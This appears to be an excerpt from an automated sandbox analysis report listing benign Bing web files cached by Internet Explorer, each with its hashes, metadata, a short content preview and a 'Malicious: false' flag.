Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 150x150, frames 3
Category:	downloaded
Size (bytes):	6795
Entropy (8bit):	7.939267233088054
Encrypted:	false
SSDEEP:	192:pPFWzMAm+TL7LZ895qWynOjJN52aPjP2D9a1R0:5FWmM7y7TZFNoaLc9Ai
MD5:	140F382635756FE19E1CD67D8CDAB923
SHA1:	1B0F1B61C068E01CE6FFDC5FFCADDD5E039D0DA5
SHA-256:	216E799943B615F3EBF0FC09391810AF53FDE0EDCBEC4300F2B01B98AF346FAE
SHA-512:	A7403C2FB1E2C858C3B3A1F6860441A8B820033E5D6E0049DF6922A1BFB0F74180A2538CFD82F292219629FB1FCA6AB8D3AAAA97129C4C86BC8D15FACDD405F3
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fk3tJ.img&ehk=VNetxfVLBzRQk0Hk9PeD6wuxhnc6QG%2bQVORzTT762Ms%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.....,.,.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...3Fj.E.[.$\..M..+.ij.!...{..,........j\..\|.\....>..7......}kVo.(bD..U...Pj....XO.......$.[..\|....<...p._0..n...k..O...D6.L.`....?..U-..D...f.......h.'z^(...&j...[h:S..."..........O.k.o...7..@..`.n.~R.....Px...m ;.3X...E........D..Cm.$..8>....F(...VrB.1..4S.....u.&.w.Oe3...1.C..2.....1..5.j......!&._..n.h...'.r.=I..y...Y..2.\....a$...$.;.$..v..,......YR..%.....;.N

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\th[2].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 150x150, frames 3
Category:	downloaded
Size (bytes):	4579
Entropy (8bit):	7.899738415633208
Encrypted:	false
SSDEEP:	96:pPElQIszgVi+8yJg1On37lfYKgsaU4AzO/wVie:pPk50gd8ysW5QKgizce
MD5:	6252E142AFB55FA1C5DD093059E5B784
SHA1:	FA2DEDFB97B7BF7B2D1052EA4B0DEC214E4217A1
SHA-256:	24461B5094C1DC8AA9F6741AD78006FF35954478933E003E2CD036EA8E303EA4
SHA-512:	A6156F1C962CE251B79C86F5A5B5BBA8C3D8C1060251CD69365C650D5BF2480ED14A6F36CFF4235BB0E53DC15903086CF901891B2DEEC050271A851D88C3DE21
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fket7.img&ehk=x1iCxRdz8nKwKjWtFCBaxEx1tovE7Q0NcYc3bmTeH%2fI%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.....,.,.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..f..$H.."(.f'..rk..9.......B<...9.c.:...E,..........=...w........._h.....yttW=.....tr..>l0..+.fE.,z..s..js......5,......i......+.Cm=.3Sj.6.\|.r...>.G.....W.Z.]){..i[..&.C...,.A...s.u......s.S.>ni..t.;....OH..i.3N.R.[..2..7..*.#.}SP..O.X@......zt98.YzR..2..9.`Y..r..ZN.,..+9Tp.....C.cS.>.PT..X......S..8S..moJV..<.>..Z.U.).7ZV..!..h.0.S.\..eX5k)..Gp.O....J..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\6sxhavkE4_SZHA_K4rwWmg67vF0.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	20320
Entropy (8bit):	5.35616705330287
Encrypted:	false
SSDEEP:	384:Kh4xTJXiXZ4sb4ZENXjTDDoFWZ3BnqIfP5IDV6s4RKAvKXAL5Nuwbv++9O:YoTdiJpjBpBnqIH+Z6se4XALueO
MD5:	07F6B49331D0BD13597934A20FAC385B
SHA1:	B39E1439D7FC072AF4961D4AB6DE07D0BC64B986
SHA-256:	4752E030AC235C73E92EC8BBF124D9A32A424457CA9A6D6027A9595DA76F98D7
SHA-512:	333B12B6BC7F72156026829E820A4F24759E15973B474E2FFB264DEE4C50B0E478128255E416F3194E8C170A28DF02AA425D720CC5E15BC2382EA2D6D57A6F5B
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/6sxhavkE4_SZHA_K4rwWmg67vF0.gz.js
Preview:	/!DisableJavascriptProfiler/.var BM=BM\|\|{};BM.config={B:{timeout:250,delay:750,maxUrlLength:300,sendlimit:20,maxPayloadSize:14e3},V:{distance:20},N:{maxUrlLength:300},E:{buffer:30,timeout:5e3,maxUrlLength:300},C:{distance:10}},function(n){function vt(){if(!document.querySelector\|\|!document.querySelectorAll){k({FN:"init",S:"QuerySelector"});return}w={};e=[];ft=1;ut=0;rt=0;o=[];s=0;h=!1;var n=Math.floor(Math.random()*1e4).toString(36);t={P:{C:0,N:0,I:n,S:fi,M:r,T:0,K:r,F:0}};vi()}function ei(n,t){var r={};for(var i in n)i.indexOf("_")!==0&&(i in t&&(n[i]!==t[i]\|\|i==="i")?(r[i]=t[i],n[i]=t[i]):r[i]=null);return r}function oi(n){var i={};for(var t in n)n.hasOwnProperty(t)&&(i[t]=n[t]);return i}function b(n,t,r,u){if(!h){k({FN:"snapshot",S:n});return}r=r\|\|gt;t=t\|\|!1;var f=g()+r;ot(o,n)===-1&&o.push(n);t?(yt(),pt(t,u)):f>s&&(yt(),rt=sb_st(pt,r),s=f)}function k(n){var u={T:"CI.BoxModelError",FID:"CI",Name:ht,SV:ct,P:t&&"P"in t?d(t.P):r,TS:f(),ST:v},i,e;for(i in n)u[i]=n[i];e=d(u);wt(e)}func

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\BJp5dDFvoQm12CHBfp4PC6aiyg4.gz[1].css Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	73202
Entropy (8bit):	5.307816444057117
Encrypted:	false
SSDEEP:	1536:kcGJTL/mKzAAFl7JlsG0GRe1cxnoWC1kuyOYkTs/Kun:LGJ4AFl7JlsG0GRCcxnoWC1kuyOYkT0
MD5:	C912DA2683E71660357A600EE34A7873
SHA1:	5DFD028307D4CD8A66492E807B848FEC177AEC3A
SHA-256:	525D57B5D38D8212993C66A33F4CD15EDBD0F260A5AFCF539D092047A908D6EE
SHA-512:	31E2A56C27CC037AD903292DFA518E86642C2A610E9923DD4F7A2FD1347167E042E957A85E98561CC9178318D121DEA3EF165F88EEC79915D0687939DC25BBC9
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/BJp5dDFvoQm12CHBfp4PC6aiyg4.gz.css
Preview:	.scopes{color:rgba(255,255,255,.8);display:inline-block;left:0;white-space:nowrap;list-style:none;line-height:39px}.scopes.sc_hide{display:none}.scopes .scope{font-size:.8125rem;cursor:pointer;vertical-align:middle;margin-right:36px;background-repeat:no-repeat;position:relative;display:inline-block}.scopes .scope:hover,.scopes .scope.focusin{color:#fff}.scopes .scope:hover .overflow_menu,.scopes .scope.focusin .overflow_menu{transform:none}.scopes .scope:focus-within .overflow_menu{color:#fff;transform:none}.scopes .scope a{color:inherit;cursor:pointer;text-decoration:none}.scopes .scope.dots{margin-bottom:8px;font-weight:bold}.scopes .scope.dots:before{display:inline-block;content:'. . .'}.scopes .scope.dots.hover_focus:focus{outline:none}.scopes .scope .overflow_menu{color:#666;cursor:pointer;transform:scale(0);position:absolute;background-color:#fff;border-radius:6px;padding:4px 0;box-shadow:0 4px 12px 1px rgba(0,0,0,.14);min-width:155px}.scopes .scope .overflow_menu .overflow_item{

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\JDHEvZVDnqsG9UcxzgIdtGb6thw.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	408
Entropy (8bit):	5.040387533075148
Encrypted:	false
SSDEEP:	12:2QWV6yRZ1nkDXAn357CXYX0cO2mAICL2b3TRn:2QO6P+5OYXJPi3TRn
MD5:	B4D53E840DB74C55CC3E3E6B44C3DAC1
SHA1:	89616D8595CF2D26B581287239AFB62655426315
SHA-256:	622B88D7D03DDACC92B81FE80A30B3D5A04072268BF9473BB29621E884AAB5F6
SHA-512:	4798E4E1E907EAE161E67B9BAB42206CE0F22530871EEC63582161E29DD00D2D7034E7D12CB3FE56FFF673BC9BB01F0646F9CA5DAED288134CB25978EFBBEC8F
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/JDHEvZVDnqsG9UcxzgIdtGb6thw.gz.js
Preview:	(function(){function u(){n&&(n.value.length>0?Lib.CssClass.add(sj_b,t):Lib.CssClass.remove(sj_b,t))}function f(r){n.value="";Lib.CssClass.remove(sj_b,t);sj_log("CI.XButton","Clicked","1");i&&Lib.CssClass.add(i,"b_focus");n.focus();n.click();r&&(r.preventDefault(),r.stopPropagation())}var i=_ge("b_header"),n=_ge("sb_form_q"),r=_ge("sb_clt"),t="b_sbText";n&&r&&(sj_be(r,"click",f),sj_be(n,"keyup",u),u())})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\NnFHhz2jL6yzChtIhaB5IIVKY5k[1].svg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1111
Entropy (8bit):	4.61511796141903
Encrypted:	false
SSDEEP:	24:twgonGLheJUVYxCdBTMqTS05sLGkkhQgbQgwHW4QhJ:6gAShpyxCdBTrS05sLKhvUfSJ
MD5:	C04C8834AC91802186E6CE677AE4A89D
SHA1:	367147873DA32FACB30A1B4885A07920854A6399
SHA-256:	46CC84BA382B065045DB005E895414686F2E76B64AF854F5AD1AC0DF020C3BDB
SHA-512:	82388309085BD143E32981FE4C79604DCEFC4222FB2B53A8625852C3572BDE3D3A578DD558478E6A18F7863CC4EC19DFBA3EE78AD8A4CC71917BFFE027DC22C0
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/NnFHhz2jL6yzChtIhaB5IIVKY5k.svg
Preview:	<svg width="20px" height="16px" viewBox="0 0 20 16" focusable="false" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">.. <g transform="translate(-10, -12)" fill="#007DAA" >.. <path d="M28.125,14.4615385 L25,14.4615385 L24.26875,13.0203077 C23.95125,12.3950769 23.30125,12 22.59125,12 L17.40875,12 C16.69875,12 16.04875,12.3950769 15.73125,13.0203077 L15,14.4615385 L11.875,14.4615385 C10.84,14.4615385 10,15.2886154 10,16.3076923 L10,26.1538462 C10,27.1729231 10.84,28 11.875,28 L28.125,28 C29.16,28 30,27.1729231 30,26.1538462 L30,16.3076923 C30,15.2886154 29.16,14.4615385 28.125,14.4615385 Z M20,25.5384615 C17.23875,25.5384615 15,23.3341538 15,20.6153846 C15,17.8966154 17.23875,15.6923077 20,15.6923077 C22.76125,15.6923077 25,17.8966154 25,20.6153846 C25,23.3341538 22.76125,25.5384615 20,25.5384615 Z M20,18.1538462 C18.62125,18.1538462 17.5,19.2578462 17.5,20.6153846 C17.5,21.9729231 18.62125,23.0769231 20,23.0769231 C21.37875,23.0769231

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\P3LN8DHh0udC9Pbh8UHnw5FJ8R8.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	1516
Entropy (8bit):	5.30762660027466
Encrypted:	false
SSDEEP:	24:+FE64YTsQF61KWllWeM2lSoiLKiUfpIYdk+fzvOMuHMH34tDO8XgGQE3BUf4JPwk:+FdF6UYXEBi9kIHIB1UY
MD5:	EF3DA257078C6DD8C4825032B4375869
SHA1:	35FE0961C2CAF7666A38F2D1DE2B4B5EC75310A1
SHA-256:	D94AC1E4ADA7A269E194A8F8F275C18A5331FE39C2857DCED3830872FFAE7B15
SHA-512:	DBA7D04CDF199E68F04C2FECFDADE32C2E9EC20B4596097285188D96C0E87F40E3875F65F6B1FF5B567DCB7A27C3E9E8288A97EC881E00608E8C6798B24EF3AF
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/P3LN8DHh0udC9Pbh8UHnw5FJ8R8.gz.js
Preview:	var Identity=Identity\|\|{},ham_id_js_downloaded=!1;(function(n,t,i,r,u,f,e){e.wlProfile=function(){var r=sj_cook.get,u="WLS",t=r(u,"N"),i=r(u,"C");return i&&e.wlImgSm&&e.wlImgLg?{displayName:t?t.replace(/\+/g," "):"",name:n(t.replace(/\+/g," ")),img:e.wlImgSm.replace(/\{0\}/g,f(i)),imgL:e.wlImgLg.replace(/\{0\}/g,f(i)),idp:"WL"}:null};e.headerLoginMode=0;e.popupAuthenticate=function(n,i,r){var o,u,h,c,v=sb_gt(),l=Math.floor(v/1e3).toString(),s="ct",a=new RegExp("([?&])"+s+"=.*?(&\|$)","i");return n.toString()==="WindowsLiveId"&&(o=e.popupLoginUrls,u=o[n],u=u.match(a)?u.replace(a,"$1"+s+"="+l+"$2"):u+"?"+s+"="+l,e.popupLoginUrls.WindowsLiveId=u),(o=e.popupLoginUrls)&&(u=o[n]+(i?"&perms="+f(i):"")+(r?"&src="+f(r):""))&&(h=e.pop(u))&&(c=setInterval(function(){h.closed&&(t.fire("id:popup:close"),clearInterval(c))},100))};e.pop=function(n){return r.open(n,"idl","location=no,menubar=no,resizable=no,scrollbars=yes,status=no,titlebar=no,toolbar=no,width=1000,height=620")};var o=u("id_h"),s=u("id

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\Passport[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	329
Entropy (8bit):	5.086971439676268
Encrypted:	false
SSDEEP:	6:qzxUe3X965+zAqEFtTNfYEAn4TXQ3SOFCL0H4WZhCroOI:kxFkXq6tTRYEVTAx4IHH7CroOI
MD5:	7B7D5DA1B057EB0D5A58C2585E80BACA
SHA1:	29714CD8C570E321C1C1C991E77ACE3945312AC6
SHA-256:	023CD9B7315636BE1BE24DC78144554B0E76777BD476ED581378172DE9B12A05
SHA-512:	1A4E36E3124968166579C04D05A1325242E1DFE20DF4C804081487A019B88395A679A439525488F78B73334C5B0BD38D61E24F8E23F2F8274C6BAC323291CEE8
Malicious:	false
IE Cache URL:	https://www.bing.com/secure/Passport.aspx?popup=1&ssl=1
Preview:	<html><head><title>Bing</title></head><body>Loading...<script type="application/x-javascript">//<![CDATA[.var _w = window; var o = _w.opener; var mainWindow; (mainWindow = o) \|\| (mainWindow = _w.parent); if (mainWindow) {mainWindow.sj_evt && mainWindow.sj_evt.fire("wl:cancel"); };if (o) _w.close();;.// </script></body></html>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\_2B[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	gzip compressed data, max speed, from TOPS/20
Category:	dropped
Size (bytes):	369
Entropy (8bit):	7.381606070228713
Encrypted:	false
SSDEEP:	6:XtA9/UWowHIYpLf27o3Q8QXoxRgqIDk+f0j7Bso3nka0LUpaflSIwo:XwUWesAZXoozD/f9SkaVpho
MD5:	9EC7CD87F69909EF5BEC476FB8988714
SHA1:	13CBDAA33357C7422C29C8E148DC1DEEFF2DA5EE
SHA-256:	5216370944CA0A0FFB66437DB68CEE5DA1E4926CE295054FE7C48272477E0662
SHA-512:	3F77206C22DECDB3ECDF0D05342BA1DA411D73AE5658BF24AB77C3515C67C2D922E1F463F0D439A7F9850332742E287E8FA5EB4D055129929C7B186C6F5ECDD1
Malicious:	false
Preview:	..........T.Os.0.@..wpz.?...6.#.n....''...0."...;.......J.f.%......g..^.Z.P.f......y\|...O.i....BN.2.....1...K.U.....JU%.0X..w...j.Q..-#......!..G..].....y.....U...s..ipB..>R..f.G.....`^[d.~u.a....<.m..6..p.V....#.\L....fx....Y...../.s...7.^\|[..M$.h.n...........'o7...N.!.'..YQ...`........H.t.g.dH..`.Fcol.........L..s..2./-\|5..5.../.......Gb.>....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\bLULVERLX4vU6bjspboNMw9vl_0.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/bLULVERLX4vU6bjspboNMw9vl_0.gz.js
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\down[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 15 x 15, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	748
Entropy (8bit):	7.249606135668305
Encrypted:	false
SSDEEP:	12:6v/7/2QeZ7HVJ6o6yiq1p4tSQfAVFcm6R2HkZuU4fB4CsY4NJlrvMezoW2uONroc:GeZ6oLiqkbDuU4fqzTrvMeBBlE
MD5:	C4F558C4C8B56858F15C09037CD6625A
SHA1:	EE497CC061D6A7A59BB66DEFEA65F9A8145BA240
SHA-256:	39E7DE847C9F731EAA72338AD9053217B957859DE27B50B6474EC42971530781
SHA-512:	D60353D3FBEA2992D96795BA30B20727B022B9164B2094B922921D33CA7CE1634713693AC191F8F5708954544F7648F4840BCD5B62CB6A032EF292A8B0E52A44
Malicious:	false
IE Cache URL:	res://ieframe.dll/down.png
Preview:	.PNG........IHDR...............ex....PLTE....W..W..W..W..W..W..W..W..W..W..W..W..W.U..............W..W.!Y.#Z.$\.'].<r.=s.P..Q..Q..U..o..p..r..x..z..~.............................................b.............................................................................................................................................................................................................$..s...7tRNS.a.o(,.s....e......q*...................................F.Z....IDATx^%.S..@.C..jm.mTk...m.?\|;.y..S....F.t...,.......D.>..LpX=f.M...H4........=...=..xy.[h..7....7.....<.q.kH....#+....I..z.....'.ksC...X<.+..J>....%3BmqaV...h..Z._.:<.Y_jG...vN^.<>.Nu.u@.....M....?...1D.m~)s8..&....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\httpErrorPagesScripts[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	12105
Entropy (8bit):	5.451485481468043
Encrypted:	false
SSDEEP:	192:x20iniOciwd1BtvjrG8tAGGGVWnvyJVUrUiki3ayimi5ezLCvJG1gwm3z:xPini/i+1Btvjy815ZVUwiki3ayimi5f
MD5:	9234071287E637F85D721463C488704C
SHA1:	CCA09B1E0FBA38BA29D3972ED8DCECEFDEF8C152
SHA-256:	65CC039890C7CEB927CE40F6F199D74E49B8058C3F8A6E22E8F916AD90EA8649
SHA-512:	87D691987E7A2F69AD8605F35F94241AB7E68AD4F55AD384F1F0D40DC59FFD1432C758123661EE39443D624C881B01DCD228A67AFB8700FE5E66FC794A6C0384
Malicious:	false
Preview:	...function isExternalUrlSafeForNavigation(urlStr)..{..var regEx = new RegExp("^(http(s?)\|ftp\|file)://", "i");..return regEx.exec(urlStr);..}..function clickRefresh()..{..var location = window.location.href;..var poundIndex = location.indexOf('#');..if (poundIndex != -1 && poundIndex+1 < location.length && isExternalUrlSafeForNavigation(location.substring(poundIndex+1)))..{..window.location.replace(location.substring(poundIndex+1));..}..}..function navCancelInit()..{..var location = window.location.href;..var poundIndex = location.indexOf('#');..if (poundIndex != -1 && poundIndex+1 < location.length && isExternalUrlSafeForNavigation(location.substring(poundIndex+1)))..{..var bElement = document.createElement("A");..bElement.innerText = L_REFRESH_TEXT;..bElement.href = 'javascript:clickRefresh()';..navCancelContainer.appendChild(bElement);..}..else..{..var textNode = document.createTextNode(L_RELOAD_TEXT);..navCancelContainer.appendChild(textNode);..}..}..function getDisplayValue(elem

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\k5oM71-Oyo7w7ptkcB_2S5dIr7I.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	downloaded
Size (bytes):	21824
Entropy (8bit):	5.243380331742482
Encrypted:	false
SSDEEP:	384:HXpeDC+2uguwBYFsOZrSzz3wp0OxAmzjEHU:HXpeDz2gFsOZrOXWz4HU
MD5:	071CABC528DA3CDD5BD5C7F0EC48ED96
SHA1:	8B665A2DA630D6711E01E838877510F48C40E9CE
SHA-256:	9871F6289648EEA5CB484C2307C4E7BCDF3857AEB27EB07E0ACFD4C1B77EDBB5
SHA-512:	771DA4D3B22B53C5B1B1D2DF1B923B78124A7F92576700F7E988A1E40C2806CB2366D52C556F1FD49862B1A584D871ED7207B54174172740B4ED125AAD4C531F
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/k5oM71-Oyo7w7ptkcB_2S5dIr7I.gz.js
Preview:	(function () {.. if (typeof window !== 'undefined') {.. (function (arr) { arr.forEach(function (item) { if (item.hasOwnProperty('remove')) { return; } Object.defineProperty(item, 'remove', { configurable: true, enumerable: true, writable: true, value: function remove() { if (this.parentNode === null) { return; } this.parentNode.removeChild(this); } }); }); })([Element.prototype, CharacterData.prototype, DocumentType.prototype]);.... !function(e,n){"object"==typeof exports&&"undefined"!=typeof module?n():"function"==typeof define&&define.amd?define(n):n()}(0,function(){"use strict";function e(e){var n=this.constructor;return this.then(function(t){return n.resolve(e()).then(function(){return t})},function(t){return n.resolve(e()).then(function(){return n.reject(t)})})}function n(e){return!(!e\|\|"undefined"==typeof e.length)}function t(){}function o(e){if(!(this instanceof o))throw new TypeError("Promises must be constructed via new");if("function"!=typeof e)throw new Type

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\model[1].json Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	16168
Entropy (8bit):	5.527704264626054
Encrypted:	false
SSDEEP:	384:HHQyIePm3yt9YYQ5bV5u5hOuKsVMhu3kx0m4iDewY/rfrEraIO1uYPW:nyZ3yjYY85uTOuKsV2u3kx0m4iDewY/i
MD5:	A49DC210AF82B1AE577C9A9151FAB96C
SHA1:	BCFA2923A2BA97A3D0483D4072E773548F716A43
SHA-256:	E7F97D95BF16539E531EFA103B8BF21F9A534ACD2B8797EA2BA6852475E07D6C
SHA-512:	82DA1DC0FDF3D4CB2B0B7BD3F49F7B856956007EC61135353295BB0ACF2FBAEB4DAD90F07E3CE126CF8EA7AE00B0D8D7BCAC240FF38C6AF5F8AFE7B343AC0E67
Malicious:	false
IE Cache URL:	https://www.bing.com/hp/api/model?form=REDIRERR
Preview:	{"ClientSettings":{"Pn":{"Cn":1,"St":0,"Qs":0,"Prod":"P"},"Sc":{"Cn":1,"St":0,"Qs":0,"Prod":"H"},"Qz":{"Cn":1,"St":0,"Qs":0,"Prod":"T"},"Ap":true,"Mute":true,"Lad":"2021-04-06T00:00:00Z","Iotd":0,"Dft":null,"Mvs":0,"Flt":0,"Imp":3},"MediaContents":[{"ImageContent":{"Description":"The first modern Olympic Games were held 125 years ago in Athens in 1896 . 1,500 years after they were banned by the Roman Emperor. The 1896 Games were held in the Panathenaic Stadium, in the shadow of the Acropolis of Athens, shown here. They included athletes from 14 countries, with the largest delegations from Greece, Germany, France and Great Britain. The 43 events included a marathon, tennis, cycling, fencing, shooting, Greco-Roman wrestling and swimming. And while some things haven't changed over the years, some were different back then. Swimmers were taken out to sea by boat for the longer races and had to swim back to shore. Winners were given a silver medal (copper for second place), as well as an o

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\sTWC0LplwPyIP_jw8VjHps800ZQ.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	16386
Entropy (8bit):	5.2866519663601315
Encrypted:	false
SSDEEP:	384:+WLj/9N/zdUjP+c4QQKaK9JASETkyWJLhjO4YuiqRqNlRxW+:+u/P/zdUraOJhaShK1uiqR0T3
MD5:	44AD44162E25A1DB1F46F78B8ECFAD42
SHA1:	C63A0E7B132221D572A541F700601356627A98A4
SHA-256:	5AE500A4737BE7B187EEA99AAB81CF3D4796D23550F7C5349DE2430E6624918D
SHA-512:	4F0078431E86CCD8C0B3DE7E4F7CC10B184DC5376AD10C224EC081DAE1B9D16509E01A95CE3F3B4F7C394EC2C52782E4CB9AC2DE8C12CA0FFC9CC66C01C54AFD
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/sTWC0LplwPyIP_jw8VjHps800ZQ.gz.js
Preview:	var customEvents,__spreadArrays,fallbackReplay,EventLoggingModule;_w.EventsToDuplicate=[];_w.useSharedLocalStorage=!1;define("shared",["require","exports"],function(n,t){function s(n,t){for(var r=n.length,i=0;i<r;i++)t(n[i])}function r(n){for(var i=[],t=1;t<arguments.length;t++)i[t-1]=arguments[t];return function(){n.apply(null,i)}}function u(n){i&&event&&(event.returnValue=!1);n&&typeof n.preventDefault=="function"&&n.preventDefault()}function f(n){i&&event&&(event.cancelBubble=!0);n&&typeof n.stopPropagation=="function"&&n.stopPropagation()}function e(n,t,i){for(var r=0;n&&n.offsetParent&&n!=(i\|\|document.body);)r+=n["offset"+t],n=n.offsetParent;return r}function o(){return(new Date).getTime()}function h(n){return i?event:n}function c(n){return i?event?event.srcElement:null:n.target}function l(n){return i?event?event.fromElement:null:n.relatedTarget}function a(n){return i?event?event.toElement:null:n.relatedTarget}function v(n,t,i){while(n&&n!=(i\|\|document.body)){if(n==t)return!0;n=n.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\sbi[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	46137
Entropy (8bit):	5.492718429280291
Encrypted:	false
SSDEEP:	768:WkuL2ym/YIZE2u1U5l7Ez+YIdQFSO4FWCPPZPzATfZjFwummSczZxG3IuO7JUDWB:plB1FWCpPwkNijuSjyir
MD5:	8147A3C6CCDAD2147CA32BA6DB54E40A
SHA1:	3257CCC8CED1107ACBE3697B61F1C5ED3A86A4E6
SHA-256:	E783F26B771F68588FF468DE04C50E6A3E7BC4A11FEBDB52A17511E9DFE91297
SHA-512:	005695CB7F9FBB397109F11FDD375F23D5C678C7F26036E3937C916F75C96857F6A7C1B10D5820588461479A14B69026A3277389E5C02D09359D5A2BD9CF3C67
Malicious:	false
IE Cache URL:	https://www.bing.com/images/sbi?mmasync=1&ptn=Homepage&IID=SBI&IG=5EF5061F8D2C43E49175C9121A651E08&form=REDIRERR
Preview:	<style type="text/css">#sbiarea,#sbicom{display:none}.hassbi #sbiarea{display:inline-block}#sbiarea{margin:0 0 0 18px}.sbox #sb_form #sbiarea{margin:0}#sb_sbi{display:inline-block;cursor:pointer}img#sbi_b{vertical-align:-2px;height:20px;width:20px}#detailPage #detailheader img#sbi_b,.blue2#miniheader img#sbi_b,.sbox img#sbi_b{vertical-align:-3px}.blue2#miniheader img#sbi_b{vertical-align:-1px}#sbi_b.grayscaled{filter:grayscale(1) brightness(1.4);-webkit-filter:grayscale(1) brightness(1.4)}#sbi_b.grayscaled:hover{filter:grayscale(1) brightness(1);-webkit-filter:grayscale(1) brightness(1)}#sb_sbip[shdlg] #sbi_b{filter:grayscale(0);-webkit-filter:grayscale(0)}#sb_sbip .rms_iac{display:inline-block}#sb_sbip:not(.disableTooltip):hover::before,#sb_sbip.shtip:not(.disableTooltip)::before,#sb_sbip[vptest]::before{bottom:-27px;left:10px;z-index:6}#sb_sbip:not(.disableTooltip):hover::after,#sb_sbip.shtip:not(.disableTooltip)::after,#sb_sbip[vptest]::after{top:40px;left:10px;z-index:4}#hp_contain

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\sjm7ZxOOdUKgLq2Lulikx_Lt20I.gz[1].js Download File
